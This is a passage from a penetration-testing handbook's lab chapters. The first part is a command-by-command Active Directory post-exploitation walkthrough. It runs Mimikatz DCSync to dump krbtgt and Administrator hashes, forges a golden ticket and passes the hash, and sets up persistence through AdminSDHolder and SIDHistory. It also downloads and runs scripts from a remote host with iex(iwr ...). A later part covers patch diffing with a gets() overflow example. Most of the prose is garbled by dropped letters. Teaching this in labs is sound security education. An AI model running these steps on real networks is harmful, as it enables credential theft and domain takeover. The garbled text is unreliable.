PS C:\Windows\System32> Invoke-BetterSafetyKatz
[+] Stolen from @harmj0y, @TheRealWover, @cobbr_io and @gentilkiwi, repurposed by
@Flangvik and @Mrtn9
[+] Contacting repo -> 2.2.0-20210810/mimikatz_trunk.zip
[+] Randomizing strings in memory
[+] Suicide burn before CreateThread!
<snipped>
7DBO9NAV #
Wih Mimikaz loadd io mmoy, ow w ca pfom a agd DCsyc of h
kbg us. W d o spcify h lsadump::dcsyc modul ad h ag us fo opios:
7DBO9NAV # lsadump::dcsync /user:krbtgt
PART III
[DC] 'ghh.local' will be the domain
[DC] 'EC2AMAZ-TBKC0DJ.ghh.local' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] 4W7Z6OP : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 8/1/2021 9:10:47 PM
Object Security ID : ➊S-1-5-21-3262898812-2511208411-1049563518-502
Object Relative ID : 502
<snipped>
Credentials
aes256_hmac (4096) :
➋1775bb5e8c24acc2d4b2bb595252d6ae35e686f6df2803383148439a4e5bc4ae
aes128_hmac (4096) : 976faae18b4227e22ab074e876f6f3a2
des_cbc_md5 (4096) : 75bc49f7070dcb5b
W d wo pics of ifomaio h: h Domai SID ➊, which is all h SID up
o h 502, ad h as256_hmac ➋ hash. W wa his ifomaio bcaus ay icks
w ca wih wak cypio may giv away ha hy a fogd. Nx, w wa o
ca a TGT fo Admiisao usig a gold ick aack. This aack uss h kbg’s
cypio kys o fog a TGT fo a diff us ha ca h b usd o auhica
o sysms i h domai. W plac all of his io o commad a h pomp:
7DBO9NAV # kerberos::golden /domain:ghh.local /sid:S-1-5-21-3262898812-2511208411-
1049563518
/aes256:1775bb5e8c24acc2d4b2bb595252d6ae35e686f6df2803383148439a4e5bc4ae
/user:Administrator /id:500 /ptt
TIP If this isn’t working for you, make sure you are updating your SID and
other relevant information to match your specific instance. Additional
changes will be needed in future steps for items such as SID, domain
controller hostname, and so on, so make sure you have updated each
variable appropriately.
Gray Hat Hacking: The Ethical Hacker’s Handbook
364
This will show us ha a w TGT has b gad ad ijcd io ou sssio:
User : Administrator
Domain : ghh.local (GHH)
SID : S-1-5-21-3262898812-2511208411-1049563518
User Id : 500
Groups Id : *513 512 520 518 519
4W7Z6OPKey: 1775bb5e8c24acc2d4b2bb595252d6ae35e686f6df2803383148439a4e5bc4ae -
aes256_hmac
Lifetime : 8/10/2021 2:52:35 AM ; 8/8/2031 2:52:35 AM ; 8/8/2031 2:52:35 AM
-> Ticket : ** Pass The Ticket **
<snipped>
Golden ticket for 'Administrator @ ghh.local' successfully submitted for current
session
W s ha h ick was succssfully cad, ad ow w ca xi Mimikaz. W ow
hav a valid Admiisao ok ad ca us ha o gai accss o h DC. W saw a h
op of h Kbos aacks ha i solvd h DC am o EC2AMAZ-TBKC0DJ.ghh
.local. W ca us PowShll o gai accss moly:
PS C:\Windows\System32> Enter-PSSession EC2AMAZ-TBKC0DJ.ghh.local
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users\Administrator\Documents> whoami
ghh\administrator
W hav ow scalad o a Domai Admi us ad hav full cool ov h
ghh.local fos.
A DbyCo5, Sa Mcalf gav a alk ild “Rd vs. Blu: Mod Aciv Dicoy
Aacks & Dfs” i which h discussd a spcial objc i Aciv Dicoy,
AdmiSDHold. This coai is spcial bcaus vy hou, h pmissios ha a
o i a popagad hough o all of h ims wih admicou=1 i AD. This popa-
gaio is calld SDPop, ad wh modificaios a mad o h coai, wihi a
hou h chags will xis o all of h admi objcs. Covsly, if you chag a
admi objc, h SDPop pocss will plac you chags wihi a hou.
I Lab 17-12, w pfomd a DCSyc ad h ijcd a Kbos ick io ou
sssio. Fo his aack, w d o hav NTLM hashs i ou sssio. To do his, w’ll
Chapter 17: Post-Exploitation in Modern Windows Environments
365
load BSafyKaz agai, DCSyc h Admiisao accou, ad h spaw a w
cmd.x usig h NTLM hashs fo ou sssio o ou ag machi:
PS C:\Windows\System32>iex(iwr http://10.0.0.40:8080/Invoke-BetterSafetyKatz.ps1)
PS C:\Windows\System32> Invoke-BetterSafetyKatz
[+] Stolen from @harmj0y, @TheRealWover, @cobbr_io and @gentilkiwi, repurposed by
@Flangvik and @Mrtn9
<snipped>
DA2PW7R6 # lsadump::dcsync /user:Administrator
<snipped>
Credentials:
Hash NTLM: 19d56dfa8872c603984c44ff96a89a6c
<sniped>
DA2PW7R6 # privilege::debug
Privilege '20' OK
DA2PW7R6 # sekurlsa::pth /user:Administrator /domain:ghh.local
/ntlm:19d56dfa8872c603984c44ff96a89a6c
PART III
user : Administrator
domain : ghh.local
program : cmd.exe
impers. : no
NTLM : 19d56dfa8872c603984c44ff96a89a6c
| PID 2792
| TID 4848
| LSA Process is now R/W
| LUID 0 ; 249605489 (00000000:0ee0ad71)
\_ msv1_0 - data copy @ 000002ADF56181F0 : OK !
\_ kerberos – KO
A w widow should hav poppd up wih a commad pomp. Now w d o
load up PowViw so ha w ca asily look a wha h cu AdmiSDHold
objc’s pivilgs a ad h wok o addig i ou backdoo:
C:\Windows\system32>powershell
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> iex(iwr http://10.0.0.40:9999/PowerView.ps1)
PS C:\> Get-ObjectAcl -SearchBase "CN=AdminSDHolder,CN=System,DC=ghh,DC=local" `
>> -ResolveGUIDs |
>> Where ActiveDirectoryRights -like "GenericAll" |
>> %{ ConvertFrom-SID $_.SecurityIdentifier }
Local System
Righ ow, oly h Local Sysm BUILTIN accou has full pivilgs o h Admi-
SDHold objc. L’s add i h ag us so ha w ca g back i. To do his,
w’ll us h Add-ObjectAcl cmdl i PowViw. W will ag h AdminSDHolder
objc ad h add h GicAll igh usig h Rights opio:
PS C:\> $sb = 'CN=AdminSDHolder,CN=System,DC=ghh,DC=local'
PS C:\> Add-ObjectAcl -TargetSearchBase $sb -PrincipalIdentity target -Rights All
Now, wh w chck h ighs, w should s h GHH\ag us i h accss lis
wih GicAll ighs:
PS C:\> Get-ObjectAcl -SearchBase $sb -ResolveGUIDs |
>> Where ActiveDirectoryRights -like "GenericAll" |
>> %{ ConvertFrom-SID $_.SecurityIdentifier }
GHH\target
Local System
Gray Hat Hacking: The Ethical Hacker’s Handbook
366
Succss! Th ighs popaga o h oh goups vy hou, so w d o wai a bi,
ad h w should b abl o chck h Domai Admis goup ad s ha h ag
has full accss o h goup:
PS C:\> Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs |
>> Where ActiveDirectoryRights -like "GenericAll" |
>> %{ ConvertFrom-SID $_.SecurityIdentifier }
Local System
PS C:\> Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs |
>> Where ActiveDirectoryRights -like "GenericAll" |
>> %{ ConvertFrom-SID $_.SecurityIdentifier }
GHH\target
Local System
W s ha wih h fis amp, oly Local Sysm had full accss, bu h wh
w wai a fw mius, w s ha h ag us is lisd as wll. As ou ag us, w
ca ow add mmbs o h goup a will.
NOTE This could take up to an hour. If you want to make it run faster,
in a session on the DC, run the contents of the Run-SDProp.ps1 file from
the repository.
SIDHisoy is a fau ha assiss i Aciv Dicoy migaio. Wh you’ com-
biig Domais o Foss, whil migaio is happig, i ca b hady o kow
who a us usd o b i od o psv accss o pvious soucs duig h
migaio. Th SIDHisoy fild sos h SID of pvious accous o goups ha a
us blogd o so ha hy ca coiu o hav accss as hi pvious us i hos
oh vioms.
Ufoualy, addig pvious SIDs o a us is’ a asy ask. This is somhig
ha is ypically do whil h AD Daabas is i migaio mod. Bcaus of his,
PowViw is’ goig o hlp us. Isad, w’ goig o hav o us ou pivilgs o
accss h DC dicly, ad h w ca us h DSIals PowShll modul o
add ou SID. Th modul quis us o sop h NTDS svic so i ca mak h
AD uavailabl uil w g h svic sad. L’s sa a h d of Lab 17-12
af xcuig Enter-PSSession o log io h DC. Now w ca g h SID of h
Domai Admis goup:
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users> Get-ADGroup "Domain Admins"
DistinguishedName : CN=Domain Admins,CN=Users,DC=ghh,DC=local
GroupCategory : Security
GroupScope : Global
Name : Domain Admins
ObjectClass : group
ObjectGUID : 96710f0a-80e3-4eb8-be8b-2d7ced257382
SamAccountName : Domain Admins
SID : S-1-5-21-3262898812-2511208411-1049563518-512
Chapter 17: Post-Exploitation in Modern Windows Environments
367
Nx, w isall h dsials modul, as show x. This will allow us o us h
modul oc i’s isalld o h sysm. If ay pomps show up o add dpdcis,
jus asw ys.
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users> install-module dsinternals -force
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users> import-module dsinternals
Wih h modul impod, ow w d o sop h NTDS svic ad h us
h ADD-ADDBSidHistory cmdl o add h SID of h Domai Admis goup o
h ag us. W also hav o spcify h locaio of h NTDS.di daabas fil. Th
NTDS svic mus b offli fo us o accss h fil; ohwis, i will b lockd.
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\ > Stop-Service ntds -force
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\ > Add-ADDBSidHistory -SamAccountName target `
>> -SidHistory S-1-5-21-3262898812-2511208411-1049563518-512 `
>> -DatabasePath C:\windows\NTDS\ntds.dit
PART III
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\ > start-service ntds
W hav o wai a fw scods fo h svic o sa; h w ca chck h ag
us ad dmi if h sigs ook:
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users> Get-ADuser target -properties sidhistory
DistinguishedName : CN=target,CN=Users,DC=ghh,DC=local
Enabled : True
GivenName :
Name : target
ObjectClass : user
ObjectGUID : b37925a0-d154-4070-bd3e-3bdd3b79e9bc
SamAccountName : target
SID : S-1-5-21-3262898812-2511208411-1049563518-1111
SIDHistory : {S-1-5-21-3262898812-2511208411-1049563518-512}
Surname :
UserPrincipalName :
W s ha h SIDHisoy is ps ow. To apply h pivilgs, l’s us h runas
commad o sa a w commad widow o chck ou pivilgs:
PS C:\Windows\system32> runas /user:GHH\target cmd.exe
Enter the password for GHH\target:
Attempting to start cmd.exe as user "GHH\target" ...
Fially, i h w widow, w ca us h whoami commad o vify w hav h
dsid accss:
C:\Windows\system32>whoami /groups | find /i "Domain Admins"
GHH\Domain Admins Group S-1-5-21-3262898812-
2511208411-1049563518-512 Group used for deny only
W hav succssfully giv ouslvs Domai Admis pivilgs wihou big i h
goup. W ow hav mulipl ways o say i h domai—ih by usig ou pivilgs
gad by SIDHisoy o via h accss gad by ou AdmiSDHold modificaios
ha hav popagad o h pivilgd goups.
Gray Hat Hacking: The Ethical Hacker’s Handbook
368
Summary
Pos-xploiaio is a ciical aspc of hackig. W aly g io h sysm ha w w
agig fis; hfo, big abl o co, scala, ad gai domai psisc is
ciical fo succssful aacks. I his chap w lookd a vaious ways o us PowShll
ad C# o dmi ifomaio abou uss, sysms, ad Aciv Dicoy objcs ad
h us ha ifomaio o idify pahs o pivilg scalaio. Oc w scalad
pivilgs boh o h hos ad wihi h domai, w h addd psisc io Aciv
Dicoy o mak su w could kp ou accss. Wih his accomplishd, w ca fl
f o mov houghou h domai o ag ay oh ifomaio w a lookig fo
as pa of ou aack.
18
In this chapter, we cover the following topics:
• Application and patch diffing
• Binary diffing tools
• Patch management process
• Real-world diffing
In spons o h uaiv gowh o vunabiiy sah, h ins v in h
binay diing o pahd vunabiiis oninus o is. Pivay disosd and in-
nay disovd vunabiiis ypiay o imid hnia dais pubiy. Th mo
dais asd, h asi i is o ohs o oa h vunabiiy. Wihou hs dais,
pah diing aows a sah o quiky idniy h od hangs ad o h mii-
gaion o a vunabiiy, whih an somims ad o sussu waponizaion. Th ai-
u o pah quiky in many oganizaions psns a uaiv oppouniy o onsiv
suiy paiions.
Application Diffing
Nw vsions o appiaions a ommony asd in an ongoing mann. Th
asoning bhind h as an inud h inoduion o nw aus, od
hangs o suppo nw paoms o kn vsions, vaging nw ompi-im
suiy onos suh as anais o Cono Fow Guad (CFG), and h ixing o
369
Gray Hat Hacking: The Ethical Hacker’s Handbook
370
vunabiiis. On, h nw vsion an inud a ombinaion o h aomn-
iond asoning. Th mo hangs o h appiaion od, h mo diiu i an
b o idniy hos ad o a pahd vunabiiy. Muh o h suss in idni-
ying od hangs ad o vunabiiy ixs is dpndn on imid disosus.
Many oganizaions hoos o as minima inomaion as o h nau o a su-
iy pah. Th mo us w an obain om his inomaion, h mo iky w
a o disov h vunabiiy. I a disosu announmn sas ha h is a
vunabiiy in h handing and possing o JPEG is, and w idniy a hangd
union namd RenderJpegHeaderType, w an in i is ad o h pah. Ths
yps o us wi b shown in a-wod snaios a in h hap.
A simp xamp o a C od snipp ha inuds a vunabiiy is shown h:
/*Unpatched code that includes the unsafe gets() function. */
int get_Name(){
char name[20];
printf("\nPlease state your name: ");
gets(name);
printf("\nYour name is %s.\n\n", name);
return 0;
}
Th pobm wih h is snipp is h us o h gets() union, whih os no
bounds hking, suing in a bu ovow oppouniy. In h pahd od, h
union fgets() is usd, whih quis a siz agumn, hus hping o pvn a bu
ovow. Th fgets() union is onsidd dpad and is iky no h bs hoi
du o is inabiiy o popy hand nu bys, suh as in binay daa; howv, i is a
b hoi han gets() i usd popy. W wi ak a ook a his simp xamp a
on hough h us o a binay diing oo.
Patch Diffing
Suiy pahs, suh as hos om Mioso and Oa, a som o h mos uaiv
ags o binay diing. Mioso has hisoiay had a w-pannd pah manag-
mn poss ha oows a monhy shdu, wh pahs a asd on h sond
Tusday o ah monh. Th is pahd a mos on dynami ink ibais (DLLs)
and div is, hough pny o oh i yps aso iv updas, suh as .x is.
Many oganizaions do no pah hi sysms quiky, aving opn an oppouniy o
aaks and pnaion ss o ompomis hs sysms wih pubiy disosd o
pivay dvopd xpois hough h aid o pah diing. Saing wih Windows 0,
Chapter 18: Next-Generation Patch Exploitation
371
Mioso is muh mo aggssiv wih pahing quimns, making h da o
updas hanging. Dpnding on h ompxiy o h pahd vunabiiy, and h
diiuy in oaing h van od, a woking xpoi an somims b dvopd
quiky in h days o wks oowing h as o h pah. Expois dvopd a
vs-ngining suiy pahs a ommony d o as 1-day or n-day exploits.
This is din om 0-day xpois, wh a pah is unavaiab a h im i is disov-
d in h wid.
As w mov hough his hap, you wi quiky s h bnis o diing od
hangs o divs, ibais, and appiaions. Though no a nw disipin, binay di-
ing has ony oninud o gain h anion o suiy sahs, haks, and vndos
as a viab hniqu o disov vunabiiis and poi. Th pi ag on a -day
xpoi is no ypiay as high as a 0-day xpoi; howv, i is no unommon o s
aaiv payous o highy sough-a xpois. As mos vunabiiis a pivay
disosd wih no pubiy avaiab xpoi, xpoiaion amwok vndos dsi o
PART III
hav mo xpois id o hs pivay disosd vunabiiis han hi ompios.
BinDiff
As pviousy mniond, in ay 20 Goog aquid h Gman sowa ompany
Zynamis, wih w-known sah Thomas Duin, aso known as Hava Fak,
who svd as h had o sah. Zynamis was widy known o h oos BinDi and
BinNavi, boh o whih aid in vs ngining. A h aquisiion, Goog gay
dud h pi o hs oos o on-nh hi oigina pi, making hm muh
mo assib. In Mah 20, Goog annound ha, going owad, BinDi woud
b . Th poj is aivy mainaind by Chisian Bihmann, wih BinDi 7 bing
h mos n vsion a h im o his wiing. BinDi is on paisd as on o h
bs oos o is kind, poviding dp anaysis o bok and od hangs. As o mid-202,
BinDi suppo o Ghida and Binay Ninja, anoh ga disassmb, was in ba.
BinDi 7 is divd as a Windows Insa Pakag (.msi), Dbian Sowa Pakag
i (.db), o a Ma OS X Disk Imag i (.dmg). Insaaion quis nohing mo
han a w iks, a insd opy o IDA Po, and h quid vsion o h Java Run-
im Envionmn. To us BinDi, you mus aow IDA o pom is auo-anaysis on
h wo is you woud ik o ompa and sav h IDB is. On his is omp,
and wih on o h is opn insid o IDA, you pss ctrl-6 o bing up h BinDi
GUI, as shown h:
Th nx sp is o ik h Di Daabas buon and s h oh IDB i o
h di. Dpnding on h siz o h is, i may ak a minu o wo o inish. On
h di is omp, som nw abs wi appa in IDA, inuding Mahd Funions,
Pimay Unmahd, and Sonday Unmahd. Th Mahd Funions ab onains
Chapter 18: Next-Generation Patch Exploitation
373
unions ha xis in boh is, whih may o may no inud hangs. Eah union
is sod wih a vau bwn 0 and .0 in h Simiaiy oumn, as shown nx. Th
ow h vau, h mo h union has hangd bwn h wo is. As sad by
Zynamis/Goog in aion o h Pimay Unmahd and Sonday Unmahd
abs, “Th is on dispays unions ha a onaind in h uny opnd daa-
bas and w no assoiad o any union o h did daabas, whi h Sonday
Unmahd subviw onains unions ha a in h did daabas bu w no
assoiad o any unions in h is.”
PART III
I is impoan o di h o vsions o h i o g h mos aua sus.
Whn going o Mioso ThN o aqui pahs pubishd bo Api 207, you’
s a oumn on h a igh id “Updas Rpad.” Th poss o aquiing pahs
saing in Api 207 is addssd shoy. Going o h URL a ha oaion (Updas
Rpad) aks you o h pvious mos n upda o h i bing pahd. A i
suh as jsip9.d is pahd amos vy monh. I you di a vsion o h i om
sva monhs ai wih a pah ha jus am ou, h numb o dins bwn
h wo is wi mak anaysis vy diiu. Oh is a no pahd vy on, so
iking h aomniond Updas Rpad ink wi ak you o h as upda o
h i in qusion so you an di h pop vsions. On a union o ins is
idniid wih BinDi, a visua di an b gnad ih by igh-iking h dsid
union om h Mahd Funions ab and sing Viw Fowgaphs o by iking
h dsid union and pssing ctrl-e. Th oowing is an xamp o a visua di.
No ha i is no xpd ha you an ad h disassmby baus i is zoomd ou
o i ono h pag.
Gray Hat Hacking: The Ethical Hacker’s Handbook
374
turbodiff
Th oh oo w wi ov in his hap is ubodi. This oo was sd du o is
abiiy o un wih h vsion o IDA 5.0. DaunGim and Diaphoa a aso ga
oos; howv, a insd opy o IDA is quid o us hm, making i impossib o
hos ading aong o omp h xiss in his hap wihou aady owning o
puhasing a insd opy. DaunGim and Diaphoa a boh us indy and asy o
s up wih IDA. Liau is avaiab o assis wih insaaion and usag (s h “Fo
Fuh Rading” sion a h nd o his hap). Diing oos ha wok wih oh
disassmbs, suh as Ghida, a anoh anaiv.
As pviousy mniond, h ubodi pug-in an b aquid om h hp://
oabs.osuiy.om/ wbsi and is o downoad and us und h GPLv2
ins. Th as sab as is Vsion .0b_2, asd on Dmb 9, 20.
To us ubodi, you mus oad h wo is o b did on a a im ino IDA. On
IDA has ompd is auo-anaysis o h is i, you pss ctrl-f11 o bing up
h ubodi pop-up mnu. Fom h opions whn you’ is anayzing a i, hoos
“ak ino om his idb” and ik OK. Rpa h sam sps agains h oh i o b
inudd in h di. On his has bn ompd agains boh is o b did, pss
ctrl-f11 again, s h opion “ompa wih…,” and hn s h oh IDB i.
Th oowing window shoud appa.
Chapter 18: Next-Generation Patch Exploitation
375
In h agoy oumn you an s abs suh as idnia, suspiious +, suspiious ++,
and hangd. Eah ab has a maning and an hp h xamin zoom in on h mos
insing unions, pimaiy h ons abd suspiious + and suspiious ++. Ths
abs india ha h hksums in on o mo o h boks wihin h sd union
a mismahd, as w as whh o no h numb o insuions has hangd. Whn
you doub-ik a dsid union nam, a visua di is psnd, wih ah union
appaing in is own window, as shown h:
PART III
Lab 18-1: Our First Diff
NOTE Copy the two ELF binary files name and name2 from Lab1 of the
book’s repository and place them in the folder C:\grayhat\app_diff\. You will
need to create the app_diff subfolder. If you do not have a C:\grayhat folder,
you can create one now, or you can use a different location.
In his ab, you wi pom a simp di agains h od pviousy shown in h
“Appiaion Diing” sion. Th ELF binay is nam and nam2 a o b ompad.
Th nam i is h unpahd on, and nam2 is h pahd on. You mus is sa
up h IDA 5.0 appiaion you pviousy insad. On i is up and unning, go
Gray Hat Hacking: The Ethical Hacker’s Handbook
376
o Fi | Nw, s h Unix ab om h pop-up, and ik h ELF opion on h ,
as shown h, and hn ik OK.
Naviga o you C:\gayha\app_di\ od and s h i “nam.” Ap h
dau opions ha appa. IDA shoud quiky omp is auo-anaysis, dauing o
h main() union in h disassmby window, as shown nx.
Chapter 18: Next-Generation Patch Exploitation
377
Pss ctrl-f11 o bing up h ubodi pop-up. I i dos no appa, go bak and
nsu you popy opid ov h nssay is o ubodi. Wih h ubodi win-
dow on h sn, s h opion “ak ino om his idb” and ik OK, oowd by
anoh OK. Nx, go o Fi | Nw, and you wi g a pop-up box asking i you woud
ik o sav h daabas. Ap h daus and ik OK. Rpa h sps o sing
h Unix ab | ELF Exuab, and hn ik OK. Opn up h nam2 ELF binay i
and ap h daus. Rpa h sps o binging up h ubodi pop-up and hoos-
ing h opion “ak ino om his idb.”
Now ha you hav ompd his o boh is, pss ctrl-f11 again, wih h nam2
i si opn in IDA. S h opion “ompa wih…” and ik OK. S h nam
.idb i and ik OK, oowd by anoh OK. Th oowing box shoud appa
(you may hav o so by agoy o pia h xa imag).
PART III
Gray Hat Hacking: The Ethical Hacker’s Handbook
378
No ha h getName() union is abd “suspiious ++.” Doub-ik h
getName() union o g h oowing window:
In his imag, h window shows h pahd union and h igh window shows
h unpahd union. Th unpahd bok uss h gets() union, whih povids
no bounds hking. Th pahd bok uss h fgets() union, whih quis a siz
agumn o hp pvn bu ovows. Th pahd disassmby is shown h:
mov eax, ds:stdin@@GLIBC_2_0
mov [esp+38h+var_30], eax
mov [esp+38h+var_34], 14h
lea eax, [ebp+var_20]
mov [esp+38h+var_38], eax
call _fgets
Th w a oup o addiiona boks o od wihin h wo unions, bu hy
a whi and inud no hangd od. Thy a simpy h sak-smashing poo
od, whih vaidas sak anais, oowd by h union piog. A his poin, you
hav ompd h ab. Moving owad, w wi ook a a-wod dis.
Chapter 18: Next-Generation Patch Exploitation
379
Patch Management Process
Eah vndo has is own poss o disibuing pahs, inuding Oa, Mioso,
and App. Som vndos hav a s shdu as o whn pahs a asd, whas
ohs hav no s shdu. Having an ongoing pah as y, suh as ha usd by
Mioso, aows o hos sponsib o managing a ag numb o sysms o pan
aodingy. Ou-o-band pahs an b pobmai o oganizaions baus h
may no b sous adiy avaiab o o ou h updas. W wi ous pimaiy
on h Mioso pah managmn poss baus i is a mau poss ha is on
agd o h pupos o diing o disov vunabiiis o poi.
PART III
h inoduion o Windows 0 umuaiv updas, aking on Windows 8 as o
Oob 20, as w as a hang in h way pahs a downoadd. Up uni Api
207, a summay and suiy pahs o ah upda oud b ound a hps://hn
.mioso.om/n-us/suiy/buin. Saing in Api 207, pahs a aquid om
h Mioso Suiy ThCn si a hps://www.aaog.upda.mioso.om/
Hom.aspx, wih summay inomaion a hps://ms.mioso.om/upda-guid/
asNo/. Pahs a ommony obaind by using h Windows Upda oo om
h Windows Cono Pan o managd nay by a podu suh as Windows Sv
Upda Svis (WSUS) o Windows Upda o Businss (WUB). Whn pahs a
dsid o diing, hy an b obaind om h aomniond ThN ink, using h
sah synax o (YYYY-MM Buid_Numb Ahiu), suh as “202-07 2H x4.”
Eah pah buin is inkd o mo inomaion abou h upda. Som updas a
h su o a pubiy disovd vunabiiy, whas h majoiy a hough som
om o oodinad piva disosu. Th oowing ink iss h CVE numbs assoi-
ad wih h pahd updas: hps://ms.mioso.om/upda-guid/vunabiiy.
Gray Hat Hacking: The Ethical Hacker’s Handbook
380
Whn you ik h assoiad inks, ony imid inomaion is povidd abou h
vunabiiy. Th mo inomaion povidd, h mo iky somon is quiky ab
o oa h pahd od and podu a woking xpoi. Dpnding on h siz o h
upda and h ompxiy o h vunabiiy, h disovy o h pahd od aon
an b hanging. On, a vunab ondiion is ony hoia, o an ony b
iggd und vy spii ondiions. This an inas h diiuy in dmining
h oo aus and poduing poo-o-onp od ha sussuy iggs h bug.
On h oo aus is dmind and h vunab od is ahd and avaiab o
anaysis in a dbugg, i mus b dmind how diiu i wi b o gain od xu-
ion, i appiab.
PART III
W wi downoad h i “202-07 Cumuaiv Upda o Windows 0 Vsion 2H
o x4-basd Sysms (KB5004237).” W now hav boh umuaiv updas, whih
shoud inud h is ndd o ook a CVE-202-34527, bu hy mus b xad.
Pahs an b manuay xad using h expand oo om Mioso, inudd on
mos vsions o Windows. Th oo xpands is om a ompssd oma, suh as a
abin i o Mioso Sandaon Upda pakag (MSU). Whn h -F: agumn is
usd o spiy a i, widads a suppod wih h * haa. Th ommand woud
ook somhing ik expand.exe -F:* <file to extract> <destination>. Whn you un
his ommand agains a downoadd umuaiv upda, a Pah Soag Fi (PSF) wih
a .ab xnsion is quiky xad. Th sam expand ommand mus b appid o his
i in od o xa h onns. This wi ak som im o un (iky mo han
0 minus), as h a ypiay ns o housands o ods and is. Fo h sak o
bviy, w wi no div ino h assoiad inna suu and hiahy assoiad
wih pah i innas, xp o hos nssay o quiky g ino pah diing. To
hp spd hings up, w wi us h PahExa oo om Gg Linas, whih maks
us o h expand oo. An updad vsion om Jaim Gig is isd in h “Fo
Fuh Rading” sion and is h vsion usd in his hap.
Th PahExa oo is a PowSh sip ha boh xas h pah i onns
and nay oganizs h is ino vaious ods. In od o us h oo, i is a good ida
o a a dsinaion od as o wh you wan h xad is o b pad. Fo ou
puposs, w wi nam on od “202-0” and a sond od “202-07.” W wi
xa h onns o h Jun 202 upda o h “202-0” od and h onns
o h Juy 202 upda o h “202-07” od. Wih h Jun 202 .msu umuaiv
upda i opid ino h “202-0” od, w un h oowing ommand (nd a
on on in) using a PowSh ISE sssion:
PS C:\grayhat\Chapter 18> ..\PatchExtract.ps1 -PATCH .\windows10.0-kb5004296-
x64_1d54ad8c53ce045b7ad48b0cdb05d618c06198d9.msu -PATH . | Out-Null
Gray Hat Hacking: The Ethical Hacker’s Handbook
382
A his ommand was xud, i ook abou 20 minus o h is o b xad.
Th w aso a w PowSh mssags abou nams aady xising, bu nohing
pvning h pah om bing uy xad. Upon ompion, w a wih va-
ious ods, inuding JUNK, MSIL, PATCH, WOW4, x4, and x8. Th JUNK
od onains is ha w a no insd in, suh as manis is and suiy aa-
og is. Th PATCH od onains h ag nsd abin is w jus xad. Th
MSIL, WOW4, x4, and x8 ods onain h buk o h paom daa and pah
is in whih w a insd.
Insid h x4 od a ov 2,900 subods, a wih din dsipiv nams,
as sn h:
Insid ah o hs ods a ypiay wo subods, ad “ ” and “,” whih sand
o owad and vs, spivy. Anoh subod nam you may om aoss is
“n,” whih sands o nu. Ths ods inud h da pah is. Th “” od
onains h vs dinia is, h “ ” od onains h owad dinia is,
and h “n” od onains nw is o b addd. I usd o b h as wh h pah
inudd h ni i o b pad, suh as a DLL o div. Mioso hangd o h
da oma in whih h vs dinia i aks h updad i, on insad,
bak o h Ras To Manuauing (RTM) vsion, and h owad dinia aks
Chapter 18: Next-Generation Patch Exploitation
383
h i om RTM o wh i nds o b o h un upda.2 I a nw i is addd
o h sysm on Pah Tusday, via h nu od, i oud b onsidd h RTM
vsion. On ha i is pahd duing a subsqun Pah Tusday upda, a owad
dinia an b appid o mak i un. This upda wi aso om wih a vs
dinia i ha an b appid o ak h i bak o h RTM vsion so ha a
uu owad dinia an b appid o oninu o mak i un.
As mniond, on upon a im, Mioso pahs woud inud h ni is o
pa h ons bing pahd; howv, i you ak a ook a h pah is wihin h
and ods, you wi quiky noi ha h i siz o h supposd DLLs o divs
is a oo sma o b h ni i. A numb o yas ago, Mioso ad a s o
pah da APIs. Th un API is h MSDELTA API.3 I inuds a s o unions
o pom aions, suh as appying a pah da. Jaim Gig ad a sip ad
“da_pah.py” o uiiz h API in od o appy vs and owad das, whih w
wi us shoy. Th da pah is inud a 4-by CRC32 hksum a h bginning
PART III
o h i, oowd by a magi numb o PA30.3, 4
Bo w mov ono appying pah das, w nd o idniy a i ad o a
pah in whih w a insd. CVE-202-34527 is ad o h “PinNighma”
vunabiiy. In od o dmin whih is w a insd in diing, w nd o
undsand a bi mo abou spooing svis on Windows. Tak a ook a h oowing
imag, om Mioso, whih shows boh oa and mo pin povid omponns:5
Local Remote
Application Windows NT/2000 Windows NT/2000
Client System Server System
GDI Application GDI
printui.dll
Is Output (Print Folder) GDI
Yes
Format Winspool.drv
EMF? Winspool.drv
No winspool.drv (Client) RPC RPC
Printer Spoolsv.exe Spoolsv.exe
Graphics
DLL spoolsv.exe (Server)
Spoolss.dll
Spoolss.dll
spoolss.dll (Router) – or – – or –
Localspl.dll Win32spl.dll
LOCAL PRINT PROVIDER
Localspl.dll
Printer localspl.dll Other Provider
Interface Print Job Creation API Print Queue DLL
DLL Management
API
Job Scheduling API Kernel-Mode Kernel-Mode
Printer
Port Driver Stack Port Driver Stack
Spool
File Job Scheduler Thread
Network Protocol
Local Other Server Printer
Is Output No Printer
Format Language Monitor DLL Network Protocol
Other Server Printer
EMF?
Yes Port Monitor DLL Network Protocol
EMF Remote Printer
Print
Kernel-Mode Port
Processor
Driver Stack
DLL
PRINTER
Gray Hat Hacking: The Ethical Hacker’s Handbook
384
W an s a w andidas o di in h imags, inuding winspoo.dv, spoosv.x,
spoos.d, and oasp.d. Th vunabiiy assoiad wih PinNighma indiad
h ponia o mo od xuion (RCE). In h imag on h igh, w an s an
RPC a o spoosv.x. In ou piminay anaysis, i was dmind ha spoosv.x,
winspoo.dv, and oasp.d a h mos insing ags. W wi sa wih anayz-
ing spoosv.x. Ou nx sp is o appy h pah das o h Jun 202 and Juy
202 updas. W mus idniy a opy o spoosv.x om ou Windows 0 WinSxS
od, appy h assoiad vs da, and hn appy h owad da o ah o h
wo monhs. WinSxS is h Windows sid-by-sid assmby hnoogy. In sho, i is a
way o Windows o manag vaious vsions o DLLs and oh yps o is. Windows
nds a way o pa updad is, whi aso having a way o v bak o od v-
sions i an upda is uninsad. Th ag numb o DLLs and sysm is an bom
ompx o manag. W wi ook hough h WinSxS od o ind a opy o spoosv
.x, and is assoiad vs da pah, in od o ak i bak o RTM. Tak a ook
